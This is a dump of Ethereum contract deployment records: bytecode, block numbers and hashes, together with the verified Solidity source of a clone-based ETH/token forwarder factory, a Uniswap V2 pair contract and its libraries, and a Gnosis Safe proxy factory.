363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,495,968 |
666812e7673c7363336eded6182732805b3571003141cbcf5117462694823e77
|
f477ea963e0220eb7d6caf40ea349ccedd87e8282aced36ce53138cf4c50b8c7
|
8aaa2a0e5756bd48b8a19f66ebd4f1361f141493
|
5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
|
feb008150879bce830120744ebfd3c5295ac5578
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// File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
|
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|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,495,971 |
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|
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|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
